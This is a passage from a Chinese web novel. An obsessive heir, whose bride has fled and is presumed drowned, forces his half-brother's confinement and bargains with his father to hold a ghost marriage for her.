长青硬着头皮继续:“根据附近一个躲藏起来的更夫含糊的证词,他当时吓得缩在角落,隐约看到有几个穿着不像好人的汉子在追一个穿红衣服的女人,后来......那女人好像被砍中了,惨叫一声,跌跌撞撞......翻过了西水门附近的矮墙,墙外......就是护城河。等那几个人追过去看时,只听到重物落水的声音,河里似乎有漩涡,水很急......他们咒骂了几句,像是没找到人,就匆匆离开了。” 护城河...... 容璟闭上了眼睛,书房内静得只剩下烛火哔剥的轻微声响和长青压抑的呼吸。 许久,他才缓缓睁开眼,眼底已是一片深不见底,毫无温度的寒潭。 他问:“尸体呢?” “属下已命人沿着护城河下游搜寻,目前......尚未发现。河水湍急,且通向城外运河支流,若真落水,恐怕......” 长青没有说下去。 没有尸体。 可能是被水流冲走,一时难以寻获。也可能......是别的。 但无论哪种,对他而言,结果都一样——她不见了。 在他精心策划,志在必得的婚礼当天,在他与逆党生死相搏的战场上,她清醒过来,然后毫不犹豫地逃离,最终消失在冰冷的护城河中,生死不明,踪迹难寻。 他所有的算计,扳倒薛家,巩固东宫地位,完成这场宣告绝对拥有的婚礼,在这一刻,似乎都随着那抹决绝逃离的红色身影和护城河湍急的暗流,变得支离破碎,成了一个冰冷的笑话。 愤怒吗? 滔天巨怒。 恨吗? 刻骨铭心。 但除此之外,还有一种更深的,连他自己都不愿承认的空洞与失控感,如同冰冷的毒蛇,噬咬着他的心脏。 他缓缓站起身,走到窗边,望向西方沉沉的夜幕,那里是西水门,是护城河的方向。 “继续找。” 他的声音嘶哑,带着一种不容置疑的偏执:“沿着河道,掘地三尺,也要给我找到。活要见人——” 他顿了顿,每一个字都像是从牙缝里挤出来,浸透了寒冰与血腥气:“死,也要见尸。” 他不会接受这样的结局。绝不允许。 姜于归,无论你是生是死,是沉在河底还是侥幸逃脱,你都是我容璟的人。 这场由你开始的逃离,必须由我,来写下最终的句点。 而此刻,在他视线无法触及的远方,漆黑的护城河水裹挟着初冬的寒意,奔流向未知的城外。 水波之下,一抹破碎的红色布料随波沉浮,渐渐远去,最终消失在浓郁的夜色与湍急的水流之中,再无痕迹可循。 只有冰冷的河水,沉默地见证了一场盛大婚礼的猝然崩塌,一个灵魂在绝境中的绝望一跃,以及,一个偏执掌控者内心世界,因此产生的,难以弥合的裂痕与风暴。 盛京的血色尘埃尚未落定,荣国公府内的空气却已先一步凝固成了坚冰。 并非因为外间的杀戮与清洗,而是源自一场更悄无声息,却或许更为致命的审判。 容璟是在叛乱平定后的第三日,才踏进父亲容修远的书房。 他并未穿官服,亦非喜庆的红色,只是一身略显凝重的墨青色常服,衬得他面色有些过分的白,眼底却有经夜不眠沉淀下的,锐利如寒星的光芒。他手中拿着一个不起眼的乌木扁匣。 父子二人对坐,中间隔着一张宽大的紫檀书案,案上镇纸冰冷,映着窗外惨淡的天光。 没有寒暄,没有对昨日惊变的探讨。 容璟直接将那乌木匣推至父亲面前,声音平静无波,却像冰层下流动的暗河:“父亲请看。” 容修远眉头紧锁,看了儿子一眼,才缓缓打开匣盖。 里面没有血书,没有密信,只有几份看似寻常的文书抄录,一份京畿巡防营近期的部分物资非常规损耗记录,以及几张记录了某些时间点,某些地点,某些人物模糊行踪的便笺。 还有一张薄纸,上面只写了一个地址和几个时间,正是睿王与薛重秘密会面的城西旧宅,以及容琅数次巧合路过或在该区域当值的时间。 证据并不直接,甚至有些琐碎。但组合在一起,指向的意味却再清晰不过。 容琅,这个在军中任职,掌管部分文书与后勤的三公子,利用职务之便,很可能窥探并传递了某些敏感信息,并与叛党有过间接甚至直接的接触。 尤其是在叛乱前夕,他的行踪与叛党巢穴出现了不该有的重叠。 容修远捏着纸张的手指,微微发颤,手背上青筋隐现。 他不是看不懂,正是看得太懂,才觉得一股寒气从脚底直窜头顶。 他声音干涩:“这些......” “这些不足以在公堂上给三弟定罪。” 容璟接口,语气依旧平淡,像在分析一桩与己无关的公事:“但足够让东宫的谋士们,在复盘此次叛乱时,产生合理的联想与怀疑。薛重能精准潜入,叛军能部分混入城中,对巡防营换岗时间,某些通道的熟悉......若有人深究,三弟经手的这些文书,他那些巧合的行踪,便会成为最好的注脚。” 容璟抬起眼,看向父亲骤然苍老而紧绷的脸:“父亲,昨日东宫能赢,是因我们站在了对的一边,且赢的干净利落。太子此刻需要的是功臣,是铁板一块,忠心无二的臂助,而不是一个内部存有疑点,子弟可能与逆党有染的家族。今日之功,是他感念的恩情,明日之疑,便可成为他日鸟尽弓藏时,最顺手的罪名。” 容璟顿了顿,每个字都敲在容修远最敏感的神经上:“我们容家,不需要一个可能让东宫觉得首鼠两端,家风不正的子弟。尤其在这个风口浪尖。” 容修远闭上了眼睛。他知道容璟说的是事实,是最冷酷也最真实的权术逻辑。 一边是家族百年的基业,未来的荣辱,甚至可能是生死。 另一边,是自己疼爱了十七年,乖巧懂事,生母更是自己心尖之人的儿子。 书房内死寂无声,只有更漏滴滴答答,如同催命的鼓点。 良久,容修远嘶声道:“你待如何?” “儿子不敢僭越。” 容璟微微垂眸,姿态恭谨,话语却如刀:“如何处置,自然由父亲定夺。只是,为家族计,为消弭后患计......总需有个明确的态度,现在东宫不知道,但世上没有不透风的墙,若是将来......总要提前消除潜在的危险。给东宫,也给这府里上下,朝野内外,一个交代。” 交代二字,容璟咬得极轻,却重若千钧。 容修远猛的睁开眼,眼底布满血丝,瞪着眼前这个神色平静,却将最残忍选择推到自己面前的长子。 他忽然感到一阵彻骨的疲惫与寒意。 这个儿子,早已不是需要他庇护教导的孩童,而是一头羽翼丰满,獠牙锋利,甚至能反过来逼迫他的孤狼。 他没有立刻回答,只是颓然的挥了挥手。 容璟会意,不再多言,躬身一礼,悄无声息地退了出去,留下容修远独自对着那一匣罪证,以及窗外沉沉压下的暮色。 正式的家庭会议,被安排在了次日傍晚的荣禧堂偏厅。 气氛格外诡异,没有宾客,只有容家最核心的几人。 老夫人称病未至,或许是真病,或许是不愿面对。 容修远坐在上首,面色灰败,仿佛一夜之间老了十岁。 安宁郡主坐在他右手边,今日倒未盛装,只一身素净的湖蓝衣裙,指尖百无聊赖地拨弄着一串珊瑚珠子,眼神却时不时扫过下首跪着的两人,带着一种冰冷的审视与隐约的......兴奋? 柳姨娘跪在厅中,早已哭得梨花带雨,妆都花了,不断叩头,声音嘶哑:“国公爷明鉴!琅儿绝无二心!他从小恭顺,敬重兄长,怎会做出那等大逆不道之事!定是有人陷害!求国公爷开恩,求世子开恩啊!” 容琅跪在她身旁,背脊却挺得笔直。 他脸上没有泪,只有一种破釜沉舟的惨白和眼底燃烧的,不甘的火焰。 他今日被从军中直接带回,未换常服,一身低级武官的戎装沾着尘土,更显狼狈,却奇异地撑住了一股气。 容璟坐在父亲左下首,端着茶盏,垂眸吹着并不存在的浮沫,仿佛眼前一切与他无关。 容修远看着哭泣的柳姨娘,眼中掠过痛楚,又看向倔强的容琅,胸口起伏,最终将目光投向容璟,带着一丝不易察觉的恳求与无力。 容璟似无所觉。 就在容修远艰难地张了张嘴,试图说些什么缓和或定性的话时。 容琅突然笑了。 那笑声短促,嘶哑,充满了无尽的嘲讽与绝望。 他猛的抬头,目光如淬毒的钉子,先狠狠钉在容璟波澜不惊的脸上,然后扫过神色复杂的父亲,最后落在郡主那看似淡漠实则写满讥诮的眼眸中。 “开恩?请求?求谁?求我这个好兄长?还是求我这个......心里永远只有爵位,只有利益,从没真正把我和我娘当人看的父亲?!” 容琅的声音陡然拔高,带着积压了十多年的怨毒与不甘,彻底撕破了最后一点虚伪的平静。 “这个家里,有谁真正爱过谁?!父亲,你爱的不过是你的权势,你的体面,还有柳姨娘这张脸!你何尝真正关心过你的嫡长子心里想什么?你只知道他有用,能光耀门楣!母亲——” 他转向安宁郡主,眼中恨意更浓:“您就更不必说了!您眼里有过这个家吗?有过我这个庶子吗?您活得通透,只爱自己,连亲生儿子都可以客套疏离,我们这些人在您眼里,怕是连戏台子上的丑角都不如!至于你,容潜玉!” 容琅死死盯回容璟,每一个字都像从牙缝里磨出来,沾着血沫:“我的好大哥!你厉害,你算无遗策!可你再厉害又怎样?你得到的,不也是抢来的吗?! 你以为你做的事情没人知道?慕容琛尸骨未寒,他的女人就被你圈在身边,玩你的驯服把戏!怎么,抢发小的心上人,逼疯她,再演一出情深似海的戏码,很得意是不是?! 你以为你赢了?我告诉你,你比我更可怜!至少我姨娘心里还有我,你呢?你那个疯了的爱妻,心里恨不得你死! 这个家里,没人爱你!父亲不爱你,母亲不爱你,连你抢来的女人也不爱你!你除了手里那点权力和算计,你还有什么?!哈哈哈——” 这番话,如同投入滚油的冰水,又像一把生了锈的钝刀,狠狠刮过在场每个人的心肝脾肺肾,将整个荣国公府华丽表皮下的脓疮,虚伪,冷漠与扭曲,血淋淋地剖开,曝露在昏黄的灯光下! “放肆!逆子!住口!” 容修远拍案而起,气得浑身发抖,更多的却是被戳中隐秘的狼狈与恐慌。 柳姨娘吓得魂飞魄散,扑上去想捂住容琅的嘴:“琅儿!你疯了!胡说什么!” 而一直作壁上观的安宁郡主,在听到容琅那句“您眼里有过这个家吗?......连亲生儿子都可以客套疏离”时,拨弄珊瑚珠的手指猛地一顿。 当容琅指向容璟,嘶吼出“这个家里,没人爱你!”时,她原本慵懒讥诮的眼神,倏然冷了下来。 那冷意并非针对容琅对家族的控诉,而是针对他最后那句——“连你抢来的女人也不爱你!” 这无疑是在当众打她的脸。 她可以漠视一切,可以嘲讽一切,但不能容忍一个卑贱的庶子,用这种不被爱的可怜虫姿态,来映射和羞辱她以及她所出的儿子,哪怕她与儿子并不亲密,这触犯了她骨子里属于郡主和高门嫡母的傲慢。 “呵。” 安宁郡主轻轻笑了一声,那笑声比容琅的嘶吼更令人胆寒。 她放下珊瑚串,缓缓坐直身体,凤眸微眯,看向容琅的眼神,再无半分看戏的慵懒,只剩下一种居高临下的,森然的厌恶。 “好一张利口!” 她声音不高,却让厅内瞬间安静下来。 “编排父兄,忤逆尊长,窥探阴私,如今看来,勾结逆党,倒也不足为奇了。这般心性,这般口舌,留在家中,今日能怨怼父兄,明日就能为了心中不平,做出更祸及满门的事来。” 她转向容修远,语气轻描淡写,却字字如刀:“国公爷,家门不幸,出此逆子。依我看,此子心术已坏,留之,恐成家族大患。今日他能因嫉恨兄长而口出狂言,明日难保不会因嫉恨家族而做出实祸。有些事,当断则断。斩草不除根,春风吹又生。为了容家百年基业,为了潜玉的前程,也为了......府中日后清净。” 她没说一个杀字,但意思已然明确。 而且,她巧妙地将容琅的罪,从可能通敌扩大到了心性败坏,口出恶言,嫉恨家族,并将处置他拔高到了为了家族百年,为了世子前程的高度,堵住了容修远可能心软的所有退路。 柳姨娘听得魂飞魄散,凄厉地喊了一声“郡主——”,便瘫软在地,只剩下绝望的呜咽。 容修远脸色铁青,胸口剧烈起伏,看着泪眼婆娑,绝望哀求的柳姨娘,又看看一脸决绝狠厉,已然豁出去的容琅,再看看面无表情,眼神冰冷的容璟,最后是那个看似提议,实则已下定论的郡主......他夹在中间,如同被架在火上炙烤。 一边是心爱的女人和疼爱多年的儿子,另一边是家族的安危,嫡子的前程,还有郡主那不容置疑的压迫。 容璟直到此刻,才缓缓放下茶盏,抬眼,目光平静地扫过全场,最后落在父亲扭曲挣扎的脸上。 他依然没有直接说该如何处置容琅,只是极轻地,几不可闻地叹了口气,那叹息里没有任何情绪,却比郡主的狠话更让容修远感到窒息。 那是一种无声的逼迫,一种将全部责任与道义压力都堆叠到他肩上的,冷静的残忍。 容修远知道,自己已无路可退。 郡主的杀心已起,容璟的态度默认,容琅的罪证与狂言更是将他自己推上了绝路。 若保容琅,不仅东宫那边无法交代,府中从此永无宁日,郡主与容璟的关系将彻底破裂,甚至可能影响到容璟的仕途...... 他缓缓地,极其艰难地闭上了眼睛,仿佛用尽了全身力气,才从牙缝里挤出一句破碎的,苍老的裁决。 “容琅......行为不端,口出恶言,有损门风......即日起,褫夺一切职司......圈禁于......西郊别院。非我命......不得出。” 他没有说死,但圈禁至死与死又有何异?尤其是由他亲自下令,无疑是对柳姨娘和容琅最重的精神处决。 柳姨娘发出一声短促的哀鸣,彻底晕厥过去。 容琅跪在那里,听完父亲的判决,脸上最后一丝血色也褪尽了。 他看着父亲逃避的眼神,看着郡主冰冷的嘴角,最后,目光定格在容璟那双深不见底,平静无波的眼眸上。 他没有再骂,只是忽然极其古怪地,凄凉地笑了一下,然后,重重地,带着所有不甘与恨意,将额头磕在了冰冷的地砖上。 “谢......父亲......恩典。” 那声音,嘶哑,空洞,再无生机。 一场家族内部的腥风血雨,以这样一种看似温和实则断绝一切的方式,暂告段落。 然而,那弥漫在荣禧堂内的血腥气与绝望,却远比那日朱雀大街上的,更为粘稠,更为持久,也更为刻骨地,烙印在了每个亲历者的魂魄深处。 容璟得到了他想要的清净与交代。 只是当他独自步出那令人窒息的厅堂,走入秋夜刺骨的寒风中时,容琅那句这个家里,没人爱你!却像一句无法驱散的诅咒,幽幽地,盘旋在他的耳边。 他面无表情,步伐稳健,走向灯火通明却已无新娘等候的汀兰水榭。 心底那片冰原,似乎又扩大了一些,也......更冷了一些。 夜色如浓墨,沉沉压在荣国公府飞翘的檐角之上。 深秋的寒风吹来,渗入了高墙之内,让这座煊赫府邸的每一个角落,都弥漫着一股劫后余生却更显凝滞的寒意。 西郊别院的马车,在天黑透前便悄无声息地驶离了国公府角门。 没有押送,只有四名面无表情,气息沉凝的护卫陪同。 柳姨娘在容琅被带走时,哭得几乎厥过去,死死扒着车门,指甲断裂渗血,却只换来容修远一声疲惫而严厉的拖她回去。 她被两个粗壮婆子半搀半架地弄回了自己院落,那凄厉绝望的呜咽,如同受伤母兽的哀鸣,在渐浓的夜色里断断续续,刮得人心头发毛。 容修远独自站在空旷的前院,望着马车消失的方向,背脊挺得笔直,却透着一股难以言喻的僵直。 寒意穿透了他厚重的锦袍。 他不是没有动摇过,柳姨娘的眼泪,容琅被带走前回头那一眼—,再是愤恨,而是一种近乎认命的,灰败的死寂,都像细针扎在他心口。 但他更清楚,动摇无用。 府里那双最高傲,最冷漠的眼睛,此刻恐怕正隔着重重院落,冷冷注视着这一切。 安宁郡主。他的妻子。 他了解她,甚至胜过了解自己。 容琅那番话,字字句句,无异于将她的脸皮,连同她那套精致利己的处世哲学,一同撕下来扔在地上践踏。 她不会容忍。 圈禁?那不过是暂时堵住悠悠众口的缓刑。 以她的性子,以及她对隐患和冒犯的零容忍,容琅活不过这个冬天,甚至可能活不过这个月。 她会用最体面,也最无可指摘的方式,让那个胆敢挑衅她的庶子,病故或想不开。 这个认知让容修远感到一阵冰冷的窒息。 他保不住这个儿子了吗?像他保不住府中表面和睦的假象,也......保不住自己作为父亲和家主的权威。 容琅......那个孩子。 容修远闭上眼,在书房内枯坐了一夜,直至第二日天明。 他的脑中浮现的并非柳姨娘妩媚的泪眼,而是容琅幼时怯生生拉着他的衣角,背书背得一字不差的模样,是他少年时在校场练武,明明气力不济却咬牙坚持到晕倒的倔强,是他入军中后,每次回来禀事,那份努力表现得沉稳周全,却总在不经意间流露出渴望得到一句肯定的眼神...... 他像谁? 不像如今锋芒毕露,算无遗策的容璟,倒有几分像年轻时的自己,也曾努力想在父亲和家族期望中,找到自己的位置,却总是不得其法,内心憋着一股无处可使的劲儿。 愧疚,如同陈年的锈蚀,密密麻麻啃噬着容修远的心。 他给了容琅优渥的生活,给了他看似不错的起点,却从未给过他真正的庇护和清晰的未来。 他默认了这府里嫡庶尊卑的天然鸿沟,默许了容璟无形中的压制,甚至......或许在潜意识里,也曾将这个乖巧却注定是配角的儿子,当作平衡对嫡长子复杂情感的某种工具。 如今,这工具成了弃子,而执棋要他命的,是他的妻子,默许这一切的,是他的嫡子。 何其失败。 作为父亲,他护不住任何一个儿子周全,作为家主,他眼睁睁看着家宅内斗,权柄旁落,却无能为力。 一种深切的,浸透骨髓的无力感,几乎要将他压垮。 天色微明...... 就在这时,一阵与这凝重死寂格格不入的,略显突兀的乐声与隐约人声,从前院另一个方向,原本是那日大婚布置的喜堂区域飘了过来。 容修远眉头猛地一拧,疑心自己听错了。 他循声走去,越近,那声音越清晰。 不是幻听! 喜乐虽不似白日喧天,却依旧未停,仆役穿梭的身影在廊下灯笼映照下显得忙碌,甚至有管事正低声吩咐着什么红绸换新的,香案再检查一遍。 他在喜堂外的月洞门前停住,看着里面灯火通明,依稀还是白日那喜庆布置的模样,只是少了宾客,多了几分诡异的寂静的热闹。 容璟一身常服,负手立于堂中,正仰头看着正中央那巨大的双喜字,侧脸在烛火下平静无波,仿佛白日那场血雨腥风,新娘逃遁,兄弟反目都从未发生。 “你......这是在做什么?” 容修远跨入喜堂,声音干涩,带着难以置信。 容璟闻声,缓缓转过身,目光落在父亲身上,依旧平静:“父亲。婚礼尚未完成,自然要继续。” “继续?” 容修远几乎以为自己听错了,一股荒谬绝伦的怒气混杂着更深的寒意直冲头顶。 “你要跟谁继续?顾氏女已在混乱中失踪,生死不明!满城皆知!你还想继续什么婚礼?!” 容璟向前走了两步,烛光将他清隽的面容照得半明半暗,他的声音不高,却字字清晰地敲在空旷的喜堂里,带着一种不容置疑的笃定,也带着一种令人毛骨悚然的偏执。 “她是我三媒六聘,即将过门的妻子。礼未成,她便还是我容潜玉未过门的妻子。无论她在哪里,是生是死,这个名分,这场仪式,都必须完成。我要她名正言顺入我容家门楣,上我容家族谱,生同衾,死......亦同穴。” 冥婚! 这两个字如同惊雷,炸响在容修远耳边,震得他头晕目眩,踉跄着后退了半步,瞪大眼睛看着眼前的长子,仿佛第一次真正认识这个人。 疯了!真是疯了! 为了一个已然失踪,很可能已死的女人,一个本就是强取豪夺而来,甚至逼疯了的女人,他竟要行此悖逆人伦,骇人听闻的冥婚之礼?!还要写入族谱?! “你......你简直荒唐透顶!冥顽不灵!” 容修远指着容璟,手指颤抖,气得脸色发青:“那顾氏女生死未卜,就算......就算真有不测,我容家百年清誉,岂能容你行此淫祀邪礼,玷污门楣!族谱是何等庄严之物,岂容你儿戏!我绝不同意!” 他的怒吼在喜堂内回荡,却显得空洞无力。因为容璟只是静静地看着他,那双深不见底的眼眸里,没有激动,没有恳求,只有一片冰封的,近乎残忍的坚定。 “此事,儿子心意已决。” 容璟的声音甚至没有提高半分,“三日后,又是吉时,府中需做好准备。” 他说完,微微颔首,竟不再看暴怒的父亲一眼,转身,步履平稳地朝着内院方向走去,将满堂刺目的红色和气得浑身发抖的容修远,抛在了身后。 消息如同滴入滚油的冷水,瞬间在沉寂的荣国公府炸开。 寿安堂内,刚被嬷嬷灌下一碗安神汤,勉强稳住心神的老夫人,听闻此事,直接“嗝——”了一声,两眼翻白,直挺挺向后倒去! 丫鬟婆子乱作一团,掐人中的掐人中,喊府医的喊府医。老夫人被救醒后,老泪纵横,捶打着床榻,嘶声道:“孽障......孽障啊!这是要让我容家沦为全天下的笑柄!让列祖列宗在地下不得安宁啊!我......我活着还有什么意思......” 她彻底崩溃了,那是一种信仰和赖以维持体面的宗法伦理,被亲生孙子亲手碾碎的绝望。 什么权势前程,此刻都比不上这冥婚二字带来的,触及灵魂的恐惧与羞辱。 她甚至开始胡言乱语,念叨着府里进了不干净的东西,冤魂索命之类的话,形如疯癫。 安宁郡主的反应,则与老夫人截然相反。 她正对着铜镜,由侍女小心翼翼地为她取下鬓边一支略显沉重的金步摇。听完心腹嬷嬷面色惊惶的禀报,她正在取簪子的手,几不可察地顿了一下。 随即,镜中那张保养得宜,美丽却疏离的脸上,缓缓地,极其明显地,绽开了一个笑容。 那不是冷笑,也不是讥笑,而是一种仿佛看到了什么极其有趣,远超预期精彩戏码的,混合着惊叹与纯粹愉悦的笑容。她甚至轻轻“噗嗤——”笑出了声,肩膀微颤。 “冥婚?上族谱?” 她重复着这两个词,语气里满是玩味,眼中流光溢彩,仿佛听到了本年度最绝妙的笑话:“好,好,好!我儿果然......从未让我失望过!比他那爹,有意思多了!” 她挥退战战兢兢的嬷嬷,转过身,倚在梳妆台边,指尖无意识地敲打着光洁的台面,自言自语般低喃:“活着的时候闹得鸡飞狗跳,死了还要绑在一起恶心人......呵,这份深情,真是感天动地,旷古绝今。” 说罢,安宁郡主的笑容渐渐沉淀,化为一种冰冷的,洞察的锐利:“不过......族谱啊。这可是把刀,既能割别人,也能割自己。潜玉,我的儿,你是真的疯了,还是......疯得别有用心?” 她不在乎什么家族清誉,那玩意儿在她看来本就是一层可笑的遮羞布。 她只觉得,容璟这份不顾一切的癫狂,比容修远那套虚伪的礼法规矩,要真实,要带劲得多。 同时,她也敏锐地察觉到,此事一旦做成,容璟身上就将永远烙下一个惊世骇俗的标记,这或许......在未来,能成为一个意想不到的筹码。 夜深得如同化不开的浓墨。 荣国公府的书房内,只亮着一盏孤灯。 容修远像一尊雕塑般坐在宽大的紫檀木椅里,面前的公文摊开着,却一字也未入眼。 白日容璟那平静却疯狂的话语,老夫人崩溃的哭嚎,郡主那令人心寒的笑声......还有西郊别院里生死未卜的容琅,柳姨娘房中隐约传来的,压抑的哭泣,交织成一张巨大而无形的网,将他死死缠住,越收越紧,几乎窒息。 他试图用礼法,家规,祖宗颜面来说服自己坚决反对,可另一个声音却在冰冷地提醒他,反对有用吗? 容璟既然说出口,就必然有做到的把握。 他连逼宫叛乱都能算无遗策地镇压,连亲生弟弟都能逼得自己这个父亲亲自下令圈禁,他要强行完成那荒唐的冥婚,将名字刻入族谱,自己拦得住吗? 届时,不过是又一场父子公开决裂,让全盛京看尽笑话,而容琅......只怕会死得更快,更悄无声息。 恐惧...... 是的,容修远在深深的疲惫和愤怒之下,感受到了对长子容璟那冷酷手段和绝对意志的,难以言喻的恐惧。 这个儿子,早已脱离了他的掌控,甚至反过来,用无形的力量操控着整个家族的走向。 一种更深沉的绝望,如同夜色般包裹了他。 这个家,在容璟的带领下,早已面目全非。 嫡子偏执成狂,行事悖逆常伦,妻子冷漠刻薄,视人命如草芥,庶子心怀怨毒,命悬一线,自己这个家主,空有威严之名,实则左右掣肘,一事无成。 这样的家族,还有什么清誉可言?冥婚......或许,正配这已经腐烂发臭,扭曲不堪的内里。 一种破罐破摔的,近乎自毁的悲凉感,慢慢涌上心头。 就在这绝望的泥沼中,一丝微弱的光亮,或者说,一条散发着腐朽气息的救命绳索,忽然浮现——容璟的条件,或许可以交换。 容琅的命。 如果同意这荒诞绝伦的冥婚,以此为筹码,换取容璟对容琅的明确庇护,让郡主无法下手......这或许,是他这个失败的父亲,能为那个更像年轻时自己的,不得志的儿子,做的最后一件事。 也是对自己彻底失败的人生,一种扭曲而可悲的补偿。 这个念头一旦升起,就如同藤蔓般疯狂生长。 它丑陋,它违背他一生信奉的原则,但它带来了一丝微弱的,对局面的掌控感。 至少,这次是他主动提出的交易,用屈服换回一条命。 夜深人静,万籁俱寂。 容修远终于起身,像是下定了某种决心,又像是被抽干了所有力气。 他未唤仆役,独自提着一盏气死风灯,穿过重重院落,走向那个此刻他既恐惧又不得不面对的儿子所在的——汀兰水榭。 水榭内灯火未熄,却静得可怕。 容璟似乎料到他会来,正坐在临窗的榻上,手中拿着一卷书,却并未在看。窗外是漆黑的湖水,倒映着零星灯火,如同窥探的鬼眼。 容修远走进来,将灯放在门口,父子二人隔着一室寂静与弥漫的沉水香对视。 没有了白日的暴怒,容修远脸上只剩下一片灰败的疲惫和一种孤注一掷的凝重。 “你要行冥婚,让她入族谱。” 容修远开口,声音沙哑,不是疑问,是陈述。 “是。” 容璟放下书卷,静静等待。 容修远深吸一口气,仿佛用尽了全身力气,才将那屈辱而沉重的条件说出口:“我可以答应你。宗祠那边,族老那边,我会去说。甚至我......可以做第一个点头的人。” 容璟眼中几不可察地闪过一丝极淡的微光,仿佛意料之中,又仿佛带着一丝冰冷的玩味。 “条件。” 容修远盯着他,一字一句,如同签订城下之盟。 “我要你保证容琅的性命。不是圈禁,是活着,平安地活着。郡主......你母亲那边,你必须拦住。我要他活着离开西郊别院,去一个......安稳的地方,隐姓埋名也好,如何也罢,我要他活着。” 他不再以父亲的身份命令,而是以一个失败者,提出交换。 容璟沉默了片刻,目光在父亲那混杂着恳求,决绝与深重疲惫的脸上停留。 书房里,父亲面对容琅罪证时的震怒与挣扎,喜堂上,父亲听闻冥婚时的惊骇与暴怒,以及此刻,这深夜来访,抛却所有尊严提出的交易......种种画面在他脑中掠过。 最终,他缓缓开口,声音平静无波,却带着一种应允的份量。 “可以。” 两个字,轻飘飘落下,却仿佛有千钧重,砸在容修远心头,不知是解脱,还是更深的坠落。 “三日后,冥婚照常。族谱之上,必有她名。” 容璟继续说道,语气不容置疑:“容琅之事,我会安排。他病故的消息会传出,人会秘密送往南边,终身不得返京,亦不得与旧人联络。母亲那边,我自有分寸。” 一场父子之间,以冥婚与性命为筹码的,冰冷彻骨又荒诞绝伦的交易,在这深秋寒夜,尘埃落定。 容修远用最后的权威和尊严,换取了庶子一线渺茫生机,也亲手将家族推向了一个更为离经叛道的深渊。 而容璟,则用对弟弟生死的掌控,换取了将那个逃离的女人,以最不容置疑的方式,永久镌刻进自己生命与家族历史的权力。 夜色吞没了书房低语,也吞没了这场交易带来的,更为悠长的死寂与寒意。 汀兰水榭的灯火,久久未熄。 书房的门被轻轻带上,隔绝了容修远沉重的脚步与深秋的夜风。 汀兰水榭内,只剩下烛火燃烧的轻微噼啪声,以及容璟自己缓慢而清晰的呼吸。 空气中弥漫着方才交易的冰冷余味,以及更深处,一股无法消散的,属于另一个人的,已然虚无的气息。 他维持着端坐的姿态,许久未动。手指无意识地摩挲着紫檀木光滑的扶手,仿佛上面还残留着那日她冰凉指尖划过的错觉。 然后,他缓缓起身,走到靠墙的紫檀木多宝阁前。那里并未摆放珍玩,只有几卷舆图,几匣书信。 他打开其中一个不起眼的黑漆小匣,里面整齐叠放着几份薄笺,纸张普通,但封口的火漆特殊,是长青专用的暗记。 最上面的一份,墨迹犹新,是今日午后刚送到的最终汇总。 他拿起,展开。 上面的字迹冷硬而客观,没有任何情感渲染,只是罗列事实。 “西水门护城河段,下游十五里处,渔夫网获红色锦缎碎片若干,经辨认,纹样质地与夫人所着嫁衣外层相符,边缘有利器划割及河水浸泡痕迹。碎片附着疑似血迹,已发黑。 沿河三十里内,共发现女性溺毙浮尸三具,一具年逾五十,一具为幼童,一具......身形年龄与夫人相仿,但面部及躯干遭鱼虾啃噬严重,无法辨认,且发现时已肿胀腐败逾五日,衣着为普通粗布,非嫁衣。经查,此女为西城走失的疯妇,有邻里证言。 持续访查当日西水门附近更夫,住户,潜藏乞丐共计十七人,其中三人证词可交叉印证,确见红衣女子被追,翻墙,闻落水声。追兵四人,着杂色衣物,形貌凶悍,口音非本地,事后迅速散入人群消失。已按此线索追查,暂无果。 结论:夫人于当日混乱中,被不明身份者追击,于西水门附近落水。护城河该段水深流急,暗涡丛生,兼有当日混乱,无人施救。至今已逾七日,沿河搜寻无确切存活迹象。结合衣物碎片及证人证词,夫人存活之可能......极微。” 极微。 这两个字,被长青用格外慎重的笔触圈出,旁边还有一滴不慎滴落的墨点,像一颗凝固的,冰冷的泪。 容璟的目光长久地停留在那两个字上,指腹缓缓抚过纸张,仿佛要透过墨迹,触碰到那湍急冰冷的河水,触碰到那片破碎的红色,触碰到她最后可能存在的,绝望的挣扎。 没有悲恸,没有嘶吼,甚至连眼神都没有太大的波动。 只有一片深不见底的,仿佛连光线都能吞噬的漆黑,在他眼底缓缓晕开。 他将那份密报轻轻放回匣中,动作甚至算得上轻柔,仿佛怕惊扰了什么。 然后,他走回窗边,推开半扇窗户。 深秋的夜风立刻灌了进来,带着湖水的湿气和刺骨的寒意,吹动他额前的碎发,也吹动了书案上那几页未读完的书卷。 他望向窗外漆黑的湖面,望向更远处,西水门的方向。 那里什么都没有,只有无尽的夜色和沉默流淌的,带走一切的河水。 良久,他极轻地,几乎是叹息般,对着虚空,也对着自己心底那片疯狂滋长的,名为失去的荒原,低语出声。 声音平静,却带着一种斩断所有退路,凝固所有时间的,令人骨髓发寒的笃定。 “姜于归......就算你真的死了......” 他顿了顿,每一个字都像淬了冰的钉子,被他亲手,钉入命运的骨骸,也钉入自己再也不可能完整的心脏。 “化成了灰,扬在了这护城河里,随波逐流,消失得无影无踪......” 他的嘴角,极其缓慢地,扯动了一下。 那不是一个笑容,而是一个扭曲的,宣告占有权直至永恒的烙印。 “你也只能是我容潜玉的鬼。” 风卷着这句话,散入冰冷的夜空,再无回响。 窗内,烛火将他的影子拉长,投在墙壁上,像一尊沉默的,偏执的,与整个世界为敌的神祇,或是妖魔。 他开始着手布置那场旷古未闻的冥婚,每一个细节都亲自过问,近乎苛刻。 仿佛要用这场极致的荒诞与不祥,向天地,向鬼神,向所有知情或不知情的人宣告。 她的生死,由他定义。她的归属,至死方休。 三日后,所谓的“吉时”。 没有宾客盈门,没有喧天喜乐,甚至没有披红挂彩的热闹。 荣国公府仿佛一块巨大的,沉默的墓碑,笼罩在深秋铅灰色的天穹下。 正堂被布置得诡异而肃穆,依旧是婚礼的规制,红绸高悬,双喜刺目,香烛缭绕,却透着一股浸入骨髓的寒意。 所有的喜庆都像是蒙着一层惨白的霜,僵硬而无生气。 牌位是临时赶制的,上好的紫檀木,冰冷光滑,刻着“容门姜氏于归之位”几个描金小字。 没有画像,它就那样孤零零地立在铺着红缎的案几中央,前面摆放着凤冠霞帔的替代物,一套同样华美,却空荡荡的嫁衣。 容璟一身玄色礼服,并非大红,却比红色更显压抑。 他面容平静,甚至带着一丝完成某种庄严仪式的专注,一步步完成所有步骤。 上香,奠酒,诵读那些鸾凤和鸣,永结同心的祝词。他的声音平稳清晰,在空旷死寂的厅堂里回荡,每一个字都像冰珠子砸在光洁的金砖上,发出空洞的回响。 老夫人称病未出,大约是再也承受不住这般直面邪祟的刺激。 容修远作为交易的默许者和家主,不得不硬着头皮坐在主位。他脸色灰败,眼神涣散,视线不敢与那牌位接触,仿佛多看一秒都会灼伤眼睛。 